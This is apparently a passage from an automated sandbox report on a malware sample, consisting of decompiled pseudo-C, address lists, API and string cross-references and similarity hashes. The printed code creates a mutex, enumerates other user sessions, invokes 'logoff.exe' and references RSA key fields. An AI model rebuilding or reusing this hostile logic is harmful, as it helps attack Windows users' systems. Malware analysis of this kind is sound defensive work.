						_v16 = 0xc9cd0;
						_v12 = 0xfffffff8;
						asm("movq xmm0, [ebp-0xc]");
						_push("PublicExponent");
						asm("movq [ecx], xmm0");
						 *((intOrPtr*)(_t72 - 0xc + 8)) = 0;
						return  *((intOrPtr*)(E000C9580(_t49, _t34) + 0x10));
					}
					_t37 = E00111370(_v32, "ThisObject:", 0xb);
					_t71 = _t71 + 0xc;
					if(_t37 != 0) {
						goto L15;
					}
					_t38 = E001042A5(_t66, 0x1777dc, 0x1796a8);
					_t68 = _v32;
					_t71 = _t71 + 8;
					_t55 = _v32 + 0xb;
					while(1) {
						_t62 =  *_t55;
						if(_t62 !=  *_t38) {
							break;
						}
						if(_t62 == 0) {
							L11:
							_t39 = 0;
							L13:
							_t83 = _t39;
							if(_t39 == 0) {
								_push(_v28);
								E00059760(_t49, _t66, _t83, _t68, 0x1777d8);
								_t71 = _t71 + 0xc;
								E000B5EF0(_v24 + 0xc, _v36 + 0xc);
								E000B5EF0(_v24 + 0x24, _v36 + 0x24);
								_v20 = 1;
							}
							goto L15;
						}
						_t13 = _t55 + 1; // 0x8d082454
						_t63 =  *_t13;
						if(_t63 !=  *((intOrPtr*)(_t38 + 1))) {
							break;
						}
						_t55 = _t55 + 2;
						_t38 = _t38 + 2;
						if(_t63 != 0) {
							continue;
						}
						goto L11;
					}
					asm("sbb eax, eax");
					_t39 = _t38 | 0x00000001;
					__eflags = _t39;
					goto L13;
				}
				_t45 = E001042A5(_t66, 0x1777dc, 0x1796a8);
				_t71 = _t71 + 8;
				_t70 = _t45;
				_t46 = E00068D20(_v24, _t70, "ThisObject:", 0xb);
				_t64 = _t70;
				_t8 = _t64 + 1; // 0x1
				_t66 = _t8;
				do {
					_t59 =  *_t64;
					_t64 = _t64 + 1;
				} while (_t59 != 0);
				E000648E0(E00068D20(_t46, _t70, _t70, _t64 - _t66), 0x3b);
				goto L4;
			}

0x000c9ce0
0x000c9cfa
0x000c9d03
0x000c9d4b
0x000c9d4f
0x000c9ddf
0x000c9ddf
0x000c9de2
0x000c9deb
0x000c9df2
0x000c9dfa
0x000c9dff
0x000c9e03
0x000c9e0a
0x000c9e12
0x000c9e1b
0x000c9e22
0x000c9e27
0x000c9e2c
0x000c9e30
0x000c9e46
0x000c9e46
0x000c9d5f
0x000c9d64
0x000c9d69
0x00000000
0x00000000
0x000c9d75
0x000c9d7a
0x000c9d7d
0x000c9d80
0x000c9d83
0x000c9d83
0x000c9d87
0x00000000
0x00000000
0x000c9d8b
0x000c9d9f
0x000c9d9f
0x000c9da8
0x000c9da8
0x000c9daa
0x000c9dac
0x000c9db5
0x000c9dbd
0x000c9dca
0x000c9dd6
0x000c9ddb
0x000c9ddb
0x00000000
0x000c9daa
0x000c9d8d
0x000c9d8d
0x000c9d93
0x00000000
0x00000000
0x000c9d95
0x000c9d98
0x000c9d9d
0x00000000
0x00000000
0x00000000
0x000c9d9d
0x000c9da3
0x000c9da5
0x000c9da5
0x00000000
0x000c9da5
0x000c9d0f
0x000c9d17
0x000c9d1a
0x000c9d23
0x000c9d28
0x000c9d2a
0x000c9d2a
0x000c9d30
0x000c9d30
0x000c9d32
0x000c9d33
0x000c9d46
0x00000000

APIs

___std_type_info_name.LIBVCRUNTIME ref: 000C9D0F
___std_type_info_name.LIBVCRUNTIME ref: 000C9D75

Part of subcall function 001042A5: ___unDName.LIBVCRUNTIME ref: 001042D1
Part of subcall function 001042A5: InterlockedPushEntrySList.KERNEL32(D529E887,D529E887,?,?,?,?,?,?,?,?,?,D529E887), ref: 0010434A

Part of subcall function 00059760: __CxxThrowException@8.LIBVCRUNTIME ref: 000597EB

Strings

PublicExponent, xrefs: 000C9E27
ThisObject:, xrefs: 000C9D1E, 000C9D57
Modulus, xrefs: 000C9DFA

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: ___std_type_info_name$EntryException@8InterlockedListNamePushThrow___un
String ID: Modulus$PublicExponent$ThisObject:
API String ID: 598204453-1616987064
Opcode ID: 1fd9a3caa7b3534271a700e5de645f4963a925c45cf7e941ed31fd6bf0280a8a
Instruction ID: fa73bfb736d4b151f3d057b0f00642935ad2e7c4a81d8cad9fb18f44898cb85b
Opcode Fuzzy Hash: 1fd9a3caa7b3534271a700e5de645f4963a925c45cf7e941ed31fd6bf0280a8a
Instruction Fuzzy Hash: 03410A31900349AACF119FB4CC5AFEEBBB5AF51304F048158E4557B2C2EB729A59C791

Uniqueness

Uniqueness Score: 100.00%

Function 0005DBF0, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 97
synchronizationUNIQUE

Download Yara Rule

C-Code - Quality: 68%

			E0005DBF0(void* __ebx, signed int __edi) {
				intOrPtr _v8;
				struct _SECURITY_ATTRIBUTES* _v16;
				char _v24;
				char _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				unsigned int _v48;
				signed int _v52;
				char _v55;
				signed int _v56;
				struct _SECURITY_ATTRIBUTES* _v60;
				struct _SECURITY_ATTRIBUTES* _v64;
				char _v68;
				char _v76;
				char _v79;
				struct _SECURITY_ATTRIBUTES* _v80;
				struct _SECURITY_ATTRIBUTES* _v84;
				struct _SECURITY_ATTRIBUTES* _v88;
				char _v100;
				unsigned int _v104;
				int _v108;
				struct _SECURITY_ATTRIBUTES* _v112;
				char _v124;
				char _v125;
				signed int _v128;
				signed int _v132;
				struct _SECURITY_ATTRIBUTES* _v136;
				struct _SECURITY_ATTRIBUTES* _v140;
				struct _SECURITY_ATTRIBUTES* _v144;
				char _v148;
				struct _SECURITY_ATTRIBUTES* _v152;
				struct _SECURITY_ATTRIBUTES* _v156;
				signed int _v160;
				signed int _v164;
				signed int** _v168;
				signed int _v172;
				char _v176;
				long _v180;
				struct _SECURITY_ATTRIBUTES* _v184;
				struct _SECURITY_ATTRIBUTES* _v188;
				struct _SECURITY_ATTRIBUTES* _v192;
				struct _SECURITY_ATTRIBUTES* _v196;
				struct _SECURITY_ATTRIBUTES* _v200;
				struct _SECURITY_ATTRIBUTES* _v204;
				unsigned int _v208;
				struct _SECURITY_ATTRIBUTES* _v212;
				struct _SECURITY_ATTRIBUTES* _v216;
				struct _SECURITY_ATTRIBUTES* _v220;
				struct _SECURITY_ATTRIBUTES* _v224;
				struct _SECURITY_ATTRIBUTES* _v228;
				struct _SECURITY_ATTRIBUTES* _v232;
				struct _SECURITY_ATTRIBUTES* _v236;
				struct _SECURITY_ATTRIBUTES* _v240;
				struct _SECURITY_ATTRIBUTES* _v244;
				struct _SECURITY_ATTRIBUTES* _v248;
				struct _SECURITY_ATTRIBUTES* _v252;
				struct _SECURITY_ATTRIBUTES* _v256;
				signed int _v260;
				char _v264;
				void* _v268;
				char _v280;
				signed int _v292;
				intOrPtr _v300;
				char _v304;
				signed int _v308;
				struct _SECURITY_ATTRIBUTES* _v312;
				short _v328;
				unsigned int _v332;
				struct _SECURITY_ATTRIBUTES* _v336;
				unsigned int _v340;
				char _v352;
				struct _SECURITY_ATTRIBUTES* _v356;
				struct _SECURITY_ATTRIBUTES* _v360;
				char _v376;
				intOrPtr _v380;
				intOrPtr _v384;
				char _v400;
				struct _SECURITY_ATTRIBUTES* _v404;
				struct _SECURITY_ATTRIBUTES* _v408;
				char _v424;
				signed int _v428;
				struct _SECURITY_ATTRIBUTES* _v432;
				char _v436;
				char _v440;
				char _v444;
				char _v448;
				struct _SECURITY_ATTRIBUTES* _v452;
				intOrPtr _v456;
				struct _SECURITY_ATTRIBUTES* _v464;
				char _v472;
				intOrPtr _v476;
				signed int _v488;
				signed int _v516;
				intOrPtr _v524;
				char _v528;
				unsigned int _v532;
				char _v552;
				char _v584;
				signed int _v588;
				char _v608;
				char _v620;
				char _v624;
				char _v648;
				char _v672;
				char _v696;
				char _v720;
				char _v744;
				char _v768;
				char _v792;
				char _v816;
				char _v840;
				char _v864;
				char _v888;
				char _v912;
				char _v913;
				unsigned int _v920;
				unsigned int _v924;
				signed int _v928;
				signed int _v932;
				signed int _v933;
				char _v934;
				char _v935;
				struct _SECURITY_ATTRIBUTES* _v940;
				struct _SECURITY_ATTRIBUTES* _v944;
				int _v948;
				int _v952;
				unsigned int _v956;
				unsigned int _v960;
				void* _v964;
				signed int _v968;
				unsigned int _v972;
				signed int _v976;
				void* _v980;
				struct _SECURITY_ATTRIBUTES* _v984;
				signed int _v988;
				struct _SECURITY_ATTRIBUTES* _v992;
				intOrPtr* _v996;
				void* _v1000;
				char _v1004;
				long _v1008;
				signed int _v1012;
				struct _SECURITY_ATTRIBUTES* _v1016;
				unsigned int _v1020;
				long _v1024;
				signed int _v1028;
				struct _SECURITY_ATTRIBUTES* _v1040;
				struct _SECURITY_ATTRIBUTES* _v1044;
				struct _SECURITY_ATTRIBUTES* _v1048;
				struct _SECURITY_ATTRIBUTES* _v1056;
				struct _SECURITY_ATTRIBUTES* _v1060;
				struct _SECURITY_ATTRIBUTES* _v1064;
				struct _SECURITY_ATTRIBUTES* _v1072;
				struct _SECURITY_ATTRIBUTES* _v1076;
				struct _SECURITY_ATTRIBUTES* _v1080;
				signed int _v1084;
				char _v1088;
				char _v1092;
				char _v1096;
				char _v1100;
				intOrPtr* _v1104;
				unsigned int _v1108;
				intOrPtr _v1116;
				intOrPtr _v1120;
				unsigned int _v1124;
				char _v1128;
				intOrPtr _v1132;
				signed int _v1136;
				signed int _v1140;
				char _v1144;
				char _v1148;
				char _v1152;
				char _v1156;
				char _v1160;
				char _v1164;
				char _v1168;
				char _v1172;
				long _v1176;
				signed int _v1180;
				void** _v1184;
				char _v1188;
				intOrPtr _v1192;
				unsigned int _v1196;
				signed int _v1200;
				signed int _v1204;
				intOrPtr _v1208;
				struct _SECURITY_ATTRIBUTES* _v1212;
				struct _SECURITY_ATTRIBUTES* _v1216;
				struct _SECURITY_ATTRIBUTES* _v1220;
				signed int _v1224;
				char _v1228;
				char _v1232;
				char _v1236;
				char _v1240;
				signed int _v1244;
				struct _SECURITY_ATTRIBUTES* _v1252;
				signed int _v1256;
				struct _SECURITY_ATTRIBUTES* _v1260;
				struct _SECURITY_ATTRIBUTES* _v1280;
				struct _SECURITY_ATTRIBUTES* _v1284;
				void* _v1292;
				char _v1300;
				unsigned int _v1304;
				struct _SECURITY_ATTRIBUTES* _v1308;
				signed int _v1312;
				signed int _v1316;
				unsigned int _v1324;
				signed int* _v1332;
				intOrPtr _v1336;
				intOrPtr _v1340;
				unsigned int _v1344;
				char _v1348;
				struct _SECURITY_ATTRIBUTES* _v1352;
				char _v1356;
				struct _SECURITY_ATTRIBUTES* _v1360;
				struct _SECURITY_ATTRIBUTES* _v1364;
				char _v1368;
				struct _SECURITY_ATTRIBUTES* _v1372;
				signed int _v1380;
				unsigned int _v1384;
				signed int _v1392;
				intOrPtr _v1396;
				void* _v1400;
				intOrPtr _v1404;
				intOrPtr _v1408;
				char _v1412;
				struct _SECURITY_ATTRIBUTES* _v1416;
				struct _SECURITY_ATTRIBUTES* _v1420;
				char _v1424;
				char _v1436;
				intOrPtr _v1440;
				char _v1444;
				signed int _v1452;
				char _v1456;
				intOrPtr _v1460;
				char _v1464;
				intOrPtr _v1468;
				intOrPtr* _v1476;
				intOrPtr* _v1492;
				char _v1496;
				long _v1500;
				long _v1504;
				char _v1508;
				char _v1520;
				char _v1524;
				char _v1548;
				char _v1552;
				char _v1576;
				char _v1580;
				char _v1604;
				char _v1608;
				char _v1632;
				char _v1808;
				char _v1984;
				char _v2160;
				char _v2336;
				char _v2512;
				signed int _v2992;
				void* _v2996;
				void* _v3084;
				void* _v3112;
				void* _v3120;
				void* _v3580;
				void* __esi;
				void* __ebp;
				signed int _t1288;
				signed int _t1289;
				void* _t1291;
				signed int _t1295;
				signed int _t1296;
				signed int _t1299;
				unsigned int _t1303;
				unsigned int _t1318;
				signed int _t1322;
				signed int _t1325;
				signed int _t1327;
				void* _t1330;
				signed int _t1331;
				signed int _t1333;
				unsigned int _t1339;
				void* _t1340;
				void* _t1342;
				signed int _t1351;
				signed int _t1356;
				signed int _t1357;
				signed int _t1360;
				signed int* _t1362;
				signed int _t1364;
				signed int _t1370;
				unsigned int _t1379;
				void* _t1383;
				intOrPtr _t1384;
				intOrPtr* _t1394;
				intOrPtr* _t1401;
				signed int _t1406;
				signed int _t1408;
				struct _SECURITY_ATTRIBUTES* _t1415;
				signed int _t1417;
				intOrPtr _t1422;
				signed int _t1423;
				signed int _t1426;
				signed int _t1429;
				signed int _t1430;
				struct _SECURITY_ATTRIBUTES* _t1431;
				void* _t1437;
				intOrPtr _t1444;
				signed int _t1448;
				signed int _t1455;
				signed int _t1456;
				signed int _t1457;
				intOrPtr _t1464;
				intOrPtr _t1468;
				signed int _t1472;
				unsigned int _t1474;
				void* _t1475;
				signed int _t1489;
				intOrPtr _t1491;
				signed int _t1506;
				signed int _t1512;
				unsigned int _t1515;
				void** _t1521;
				intOrPtr* _t1532;
				struct _SECURITY_ATTRIBUTES** _t1557;
				void* _t1565;
				void* _t1573;
				intOrPtr _t1577;
				signed int _t1595;
				signed int _t1626;
				intOrPtr* _t1627;
				unsigned int _t1628;
				intOrPtr _t1629;
				signed int _t1641;
				intOrPtr* _t1651;
				signed int _t1655;
				signed int _t1667;
				intOrPtr* _t1677;
				intOrPtr* _t1684;
				signed int _t1686;
				intOrPtr _t1687;
				unsigned int _t1689;
				char* _t1697;
				unsigned int _t1705;
				signed int _t1707;
				signed int _t1708;
				signed int _t1709;
				void* _t1712;
				intOrPtr* _t1714;
				void* _t1719;
				intOrPtr* _t1721;
				void* _t1723;
				intOrPtr* _t1725;
				void* _t1734;
				void* _t1736;
				intOrPtr _t1741;
				signed int _t1747;
				void* _t1760;
				void* _t1772;
				void* _t1777;
				void* _t1792;
				signed int _t1796;
				signed int _t1804;
				signed int _t1807;
				signed int _t1813;
				signed int _t1833;
				void* _t1834;
				signed int _t1854;
				signed int _t1855;
				void* _t1871;
				signed int _t1880;
				signed int _t1888;
				signed int _t1893;
				signed int _t1908;
				char* _t1909;
				void* _t1915;
				intOrPtr _t1920;
				intOrPtr _t1924;
				intOrPtr _t1928;
				intOrPtr _t1932;
				unsigned int _t1942;
				intOrPtr _t1946;
				signed int _t1956;
				intOrPtr _t1962;
				struct _SECURITY_ATTRIBUTES* _t1970;
				DWORD* _t1973;
				struct _SECURITY_ATTRIBUTES* _t1984;
				signed int _t1988;
				intOrPtr _t1997;
				unsigned int _t2001;
				void* _t2005;
				void* _t2008;
				void* _t2010;
				void* _t2024;
				struct _SECURITY_ATTRIBUTES* _t2027;
				signed int _t2031;
				intOrPtr _t2044;
				struct _SECURITY_ATTRIBUTES* _t2048;
				signed int _t2055;
				void* _t2056;
				signed int _t2058;
				void* _t2060;
				signed int _t2061;
				intOrPtr _t2064;
				void* _t2072;
				signed int _t2075;
				char* _t2076;
				struct _SECURITY_ATTRIBUTES* _t2078;
				signed int _t2080;
				signed int _t2091;
				struct _SECURITY_ATTRIBUTES* _t2092;
				DWORD* _t2093;
				intOrPtr* _t2099;
				signed int _t2103;
				char _t2117;
				char _t2122;
				char _t2123;
				intOrPtr _t2131;
				signed int _t2133;
				intOrPtr _t2138;
				intOrPtr _t2144;
				struct _SECURITY_ATTRIBUTES** _t2147;
				intOrPtr _t2153;
				signed int _t2168;
				intOrPtr _t2169;
				signed int _t2170;
				signed int _t2172;
				unsigned int _t2173;
				signed int _t2175;
				void* _t2181;
				void* _t2182;
				void* _t2198;
				intOrPtr _t2202;
				intOrPtr _t2209;
				intOrPtr _t2212;
				intOrPtr _t2218;
				signed int _t2219;
				void* _t2226;
				intOrPtr _t2227;
				intOrPtr _t2239;
				intOrPtr _t2241;
				char* _t2267;
				signed int _t2271;
				signed int _t2282;
				signed int _t2291;
				signed int _t2297;
				signed int _t2316;
				signed int _t2324;
				char _t2329;
				char _t2330;
				intOrPtr _t2331;
				intOrPtr _t2332;
				signed int _t2336;
				char _t2337;
				intOrPtr _t2340;
				struct _SECURITY_ATTRIBUTES* _t2342;
				signed int _t2349;
				signed int _t2350;
				struct _SECURITY_ATTRIBUTES* _t2354;
				signed int _t2357;
				intOrPtr _t2362;
				unsigned int _t2363;
				struct _SECURITY_ATTRIBUTES* _t2372;
				signed int _t2373;
				signed int _t2378;
				struct _SECURITY_ATTRIBUTES* _t2379;
				intOrPtr _t2385;
				signed int _t2387;
				unsigned int _t2389;
				void* _t2390;
				struct _SECURITY_ATTRIBUTES* _t2392;
				unsigned int _t2418;
				signed int _t2429;
				signed int _t2430;
				void* _t2431;
				signed int _t2433;
				unsigned int _t2434;
				signed int _t2438;
				signed int _t2439;
				signed int _t2440;
				void* _t2441;
				void* _t2442;
				void* _t2443;
				void* _t2446;
				struct _SECURITY_ATTRIBUTES* _t2448;
				signed int _t2451;
				signed int _t2452;
				struct _SECURITY_ATTRIBUTES* _t2453;
				signed int _t2454;
				void* _t2455;
				struct _SECURITY_ATTRIBUTES* _t2459;
				struct _SECURITY_ATTRIBUTES* _t2460;
				DWORD* _t2461;
				DWORD* _t2462;
				void* _t2463;
				void* _t2464;
				DWORD* _t2467;
				signed int _t2468;
				signed int _t2469;
				void* _t2472;
				intOrPtr* _t2474;
				unsigned int _t2475;
				signed int _t2476;
				int _t2482;
				signed int _t2483;
				signed int _t2484;
				signed int _t2486;
				signed int _t2487;
				intOrPtr _t2489;
				unsigned int _t2490;
				void* _t2492;
				char* _t2493;
				intOrPtr _t2494;
				char* _t2498;
				struct _SECURITY_ATTRIBUTES* _t2503;
				signed int _t2504;
				signed int _t2505;
				signed int* _t2506;
				unsigned int _t2507;
				unsigned int _t2508;
				intOrPtr* _t2509;
				signed int _t2511;
				struct _SECURITY_ATTRIBUTES** _t2515;
				signed int _t2517;
				signed int _t2519;
				signed int _t2524;
				void* _t2526;
				void* _t2527;
				signed int _t2528;
				signed int _t2532;
				intOrPtr _t2533;
				void* _t2534;
				intOrPtr* _t2535;
				intOrPtr* _t2536;
				unsigned int _t2537;
				unsigned int _t2539;
				intOrPtr* _t2541;
				intOrPtr* _t2542;
				signed int _t2547;
				signed int _t2551;
				signed int _t2553;
				signed int _t2554;
				void* _t2560;
				signed int _t2563;
				signed int _t2565;
				signed int _t2568;
				intOrPtr _t2569;
				void* _t2573;
				void* _t2574;
				void* _t2575;
				void* _t2576;
				void* _t2577;
				signed int _t2581;
				void* _t2582;
				void* _t2584;
				void* _t2589;
				void* _t2594;
				void* _t2595;
				void* _t2597;
				void* _t2600;
				void* _t2601;
				void* _t2603;
				void* _t2605;
				void* _t2610;
				void* _t2611;
				void* _t2614;
				void* _t2615;
				void* _t2619;
				void* _t2623;
				void* _t2630;
				void* _t2632;
				void* _t2637;
				void* _t2639;
				void* _t2640;
				void* _t2645;
				void* _t2647;
				void* _t2648;
				void* _t2651;
				void* _t2652;
				void* _t2659;

				_t2468 = __edi;
				_push(__ebx);
				_t2060 = _t2560;
				_t2563 = (_t2560 - 0x00000008 & 0xfffffff8) + 4;
				_v8 =  *((intOrPtr*)(_t2060 + 4));
				_t2551 = _t2563;
				_push(0xffffffff);
				_push(0x12dd68);
				_push( *[fs:0x0]);
				_push(_t2060);
				_t1288 =  *0x16f170; // 0xd529e887
				_t1289 = _t1288 ^ _t2551;
				_v32 = _t1289;
				_push(_t2503);
				_push(__edi);
				_push(_t1289);
				 *[fs:0x0] =  &_v24;
				_v212 = 0;
				_t1291 = E000D7269(0x17a40c, E000735B0, 0x17a3a0);
				_t2565 = _t2563 - 0x198 + 0xc;
				if(_t1291 == 0) {
					E0010F5C4(_t2060, _t2064, _t2382, __edi);
					L58:
					E0010F44B(_t2060, _t2064, _t2382, _t2468, __eflags);
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					_push(_t2060);
					_t2061 = _t2565;
					_t2568 = (_t2565 - 0x00000008 & 0xfffffff8) + 4;
					_push(_t2551);
					_v456 =  *((intOrPtr*)(_t2061 + 4));
					_t2553 = _t2568;
					_push(0xffffffff);
					_push(0x12e0d2);
					_push( *[fs:0x0]);
					_push(_t2064);
					_push(_t2061);
					_t2569 = _t2568 - 0x9a8;
					_t1295 =  *0x16f170; // 0xd529e887
					_t1296 = _t1295 ^ _t2553;
					_v488 = _t1296;
					_push(_t2503);
					_push(_t2468);
					_push(_t1296);
					 *[fs:0x0] =  &_v472;
					_v476 = _t2569;
					_v1364 = 0;
					E000D708E();
					_t1299 = CreateMutexA(0, 0, "MX-tgytutrc");
					_v1416 = _t1299;
					_v464 = 0;
					__eflags = _t1299;
					if(_t1299 != 0) {
						_v28 = 1;
						__eflags =  *0x17a480;
						if( *0x17a480 == 0) {
							L65:
							__imp__ProcessIdToSessionId(GetCurrentProcessId(),  &_v1228);
							E000958D0( &_v1200);
							_v28 = 3;
							_t2066 = _v1200;
							_t2504 = _t2066;
							_t1303 = _v1196;
							_v960 = _t1303;
							while(1) {
								_v976 = _t2504;
								__eflags = _t2504 - _t1303;
								if(_t2504 == _t1303) {
									break;
								}
								_t2507 =  *_t2504;
								_v920 = _t2507;
								__eflags = _t2507 - _v1228;
								if(_t2507 == _v1228) {
									L100:
									_t2504 = _v976 + 4;
									continue;
								} else {
									_v1308 = 0;
									_t1893 = E000D7269(0x17a40c, E000735B0, 0x17a3a0);
									_t2581 = _t2569 + 0xc;
									__eflags = _t1893;
									if(_t1893 == 0) {
										goto L312;
									} else {
										_v1304 = 0x17a3a0;
										_t2498 =  &_v55;
										asm("o16 nop [eax+eax]");
										goto L70;
										L73:
										_t2468 = _v928 | 0x00000003;
										_v132 = 0;
										_v128 = 7;
										_v148 = 0;
										_v28 = 5;
										_push(0xa);
										_v108 = 0;
										_v104 = 0xf;
										_v124 = 0;
										E00068B90( &_v124, _t2433, _t2507, "logoff.exe");
										_v28 = 6;
										_t2507 = _v108;
										__eflags = _t2507;
										if(_t2507 != 0) {
											__eflags = _v104 - 0x10;
											_t1951 =  >=  ? _v124 :  &_v124;
											_t1952 = ( >=  ? _v124 :  &_v124) + _t2507;
											__eflags = _v104 - 0x10;
											_v1008 = ( >=  ? _v124 :  &_v124) + _t2507;
											_t2507 =  >=  ? _v124 :  &_v124;
											_push(L000ABB20(_t2061,  &_v124));
											_push( &_v148);
											_push(_v1008);
											_push(_t2507);
											E000AB300(_t2061, _t2468, _t2507);
											_t2581 = _t2581 + 0x10;
										}
										_v28 = 5;
										_t2434 = _v104;
										__eflags = _t2434 - 0x10;
										if(_t2434 < 0x10) {
											L79:
											_v108 = 0;
											_v104 = 0xf;
											_v124 = 0;
											_v28 = 7;
											L00057930(_t2061,  &_v1064, _t2468);
											_v28 = 8;
											_push( &_v1064);
											E00057BC0(_t2061,  &_v328,  &_v148, _t2468);
											_v28 = 7;
											_t2648 = _t2581 + 4;
											_t2324 = _v1064;
											__eflags = _t2324;
											if(_t2324 == 0) {
												L83:
												_v28 = 9;
												_t1915 = E00056DE0( &_v608,  &_v352);
												_push(0x1522b0);
												_v28 = 0xa;
												_push( &_v1308);
												_push(_t1915);
												E0007BA30( &_v1548,  &_v328, _t2468, _t2507);
												_t2468 = _t2468 | 0x0000000c;
												_v28 = 9;
												_t2438 = _v588;
												_t2569 = _t2648 + 0xc;
												_v928 = _t2468;
												__eflags = _t2438 - 8;
												if(_t2438 < 8) {
													L87:
													_v1524 = 0;
													E000564C0( &_v1548);
													_v28 = 7;
													_t2439 = _v308;
													__eflags = _t2439 - 8;
													if(_t2439 < 8) {
														L91:
														_v28 = 4;
														_t2440 = _v128;
														_v312 = 0;
														_v308 = 7;
														_v328 = 0;
														__eflags = _t2440 - 8;
														if(_t2440 < 8) {
															L95:
															_v28 = 3;
															_t2382 = _v332;
															_v132 = 0;
															_v128 = 7;
															_v148 = 0;
															__eflags = _t2382 - 0x10;
															if(_t2382 < 0x10) {
																L99:
																_t1303 = _v960;
																_t2066 = _v1200;
																goto L100;
															} else {
																_t2329 = _v352;
																_t2382 = _t2382 + 1;
																_t1920 = _t2329;
																__eflags = _t2382 - 0x1000;
																if(_t2382 < 0x1000) {
																	L98:
																	_push(_t2382);
																	E000ED2D0(_t2329);
																	_t2569 = _t2569 + 8;
																	goto L99;
																} else {
																	_t2066 =  *(_t2329 - 4);
																	_t2382 = _t2382 + 0x23;
																	__eflags = _t1920 -  *(_t2329 - 4) + 0xfffffffc - 0x1f;
																	if(__eflags > 0) {
																		goto L318;
																	} else {
																		goto L98;
																	}
																}
															}
														} else {
															_t2330 = _v148;
															_t2441 = 2 + _t2440 * 2;
															_t1924 = _t2330;
															__eflags = _t2441 - 0x1000;
															if(_t2441 < 0x1000) {
																L94:
																_push(_t2441);
																E000ED2D0(_t2330);
																_t2569 = _t2569 + 8;
																goto L95;
															} else {
																_t2066 =  *(_t2330 - 4);
																_t2382 = _t2441 + 0x23;
																__eflags = _t1924 -  *(_t2330 - 4) + 0xfffffffc - 0x1f;
																if(__eflags > 0) {
																	goto L317;
																} else {
																	goto L94;
																}
															}
														}
													} else {
														_t2331 = _v328;
														_t2442 = 2 + _t2439 * 2;
														_t1928 = _t2331;
														__eflags = _t2442 - 0x1000;
														if(_t2442 < 0x1000) {
															L90:
															_push(_t2442);
															E000ED2D0(_t2331);
															_t2569 = _t2569 + 8;
															goto L91;
														} else {
															_t2066 =  *(_t2331 - 4);
															_t2382 = _t2442 + 0x23;
															__eflags = _t1928 -  *(_t2331 - 4) + 0xfffffffc - 0x1f;
															if(__eflags > 0) {
																goto L316;
															} else {
																goto L90;
															}
														}
													}
												} else {
													_t2332 = _v608;
													_t2443 = 2 + _t2438 * 2;
													_t1932 = _t2332;
													__eflags = _t2443 - 0x1000;
													if(_t2443 < 0x1000) {
														L86:
														_push(_t2443);
														E000ED2D0(_t2332);
														_t2569 = _t2569 + 8;
														goto L87;
													} else {
														_t2066 =  *(_t2332 - 4);
														_t2382 = _t2443 + 0x23;
														__eflags = _t1932 -  *(_t2332 - 4) + 0xfffffffc - 0x1f;
														if(__eflags > 0) {
															goto L315;
														} else {
															goto L86;
														}
													}
												}
											} else {
												_push(_t2324);
												E000709A0(_t2061, _t2324, _v1060);
												_t2507 = _v1064;
												_t2581 = _t2648 + 4;
												_t2382 = 0x2aaaaaab * (_v1056 - _t2507) >> 0x20 >> 2;
												_t1942 = _t2507;
												_t2336 = (0x2aaaaaab * (_v1056 - _t2507) >> 0x20 >> 2 >> 0x1f) + (0x2aaaaaab * (_v1056 - _t2507) >> 0x20 >> 2) + ((0x2aaaaaab * (_v1056 - _t2507) >> 0x20 >> 2 >> 0x1f) + (0x2aaaaaab * (_v1056 - _t2507) >> 0x20 >> 2)) * 2 << 3;
												__eflags = _t2336 - 0x1000;
												if(_t2336 < 0x1000) {
													L82:
													_push(_t2336);
													E000ED2D0(_t2507);
													_t2648 = _t2581 + 8;
													_v1064 = 0;
													_v1060 = 0;
													_v1056 = 0;
													goto L83;
												} else {
													_t2507 =  *(_t2507 - 4);
													_t2066 = _t2336 + 0x23;
													__eflags = _t1942 - _t2507 + 0xfffffffc - 0x1f;
													if(__eflags > 0) {
														goto L314;
													} else {
														goto L82;
													}
												}
											}
										} else {
											_t2337 = _v124;
											_t2446 = _t2434 + 1;
											_t1946 = _t2337;
											__eflags = _t2446 - 0x1000;
											if(_t2446 < 0x1000) {
												L78:
												_push(_t2446);
												E000ED2D0(_t2337);
												_t2581 = _t2581 + 8;
												goto L79;
											} else {
												_t2066 =  *(_t2337 - 4);
												_t2382 = _t2446 + 0x23;
												__eflags = _t1946 -  *(_t2337 - 4) + 0xfffffffc - 0x1f;
												if(__eflags > 0) {
													goto L313;
												} else {
													goto L78;
												}
											}
										}
										goto L427;
										L70:
										_t2498 = _t2498 - 1;
										_t2433 = 0xcccccccd * _t2507 >> 0x20 >> 3;
										_t2507 = _t2433;
										 *_t2498 = _v920 - (_t2433 << 2) + _t2433 + (_t2433 << 2) + _t2433 + 0x30;
										_t1908 = _t2433;
										_v920 = _t1908;
										__eflags = _t1908;
										if(_t1908 != 0) {
											goto L70;
										} else {
											_t1909 =  &_v55;
											_v336 = 0;
											_v332 = 0xf;
											_v352 = 0;
											__eflags = _t2498 - _t1909;
											if(_t2498 != _t1909) {
												_t1956 = _t1909 - _t2498;
												__eflags = _t1956;
												_push(_t1956);
												E00068B90( &_v352, _t2433, _t2507, _t2498);
											}
										}
										goto L73;
									}
								}
								goto L427;
							}
							_v28 = 1;
							__eflags = _t2066;
							if(_t2066 == 0) {
								L105:
								E0005DBF0(_t2061, _t2468);
								__eflags =  *0x16fbc4 - 0x10;
								_v1188 = 0x17a5ec;
								_t1306 =  >=  ?  *0x16fbb0 : 0x16fbb0;
								_v1004 =  >=  ?  *0x16fbb0 : 0x16fbb0;
								_v1224 = 0;
								_v1220 = 0;
								_v1020 =  &_v1220;
								_v1216 = 0;
								_v1212 = 0;
								_v1208 = 0x80000000;
								_v1204 = 0xffffffff;
								_push(0);
								_push( &_v1224);
								_v28 = 0xc;
								_push( &_v1188);
								_push(0x100000);
								_push( &_v1004);
								_push(0);
								E00075260(_t2061,  &_v1220, _t2468, _t2504);
								_t2505 = _v1224;
								__eflags = _t2505;
								_t1314 =  ==  ? 1 : _t2505 -  &_v976;
								_v976 =  ==  ? 1 : _t2505 -  &_v976;
								_v1336 = E001042A5(_t2468, 0x173d38, 0x1796a8);
								_v1344 = 4;
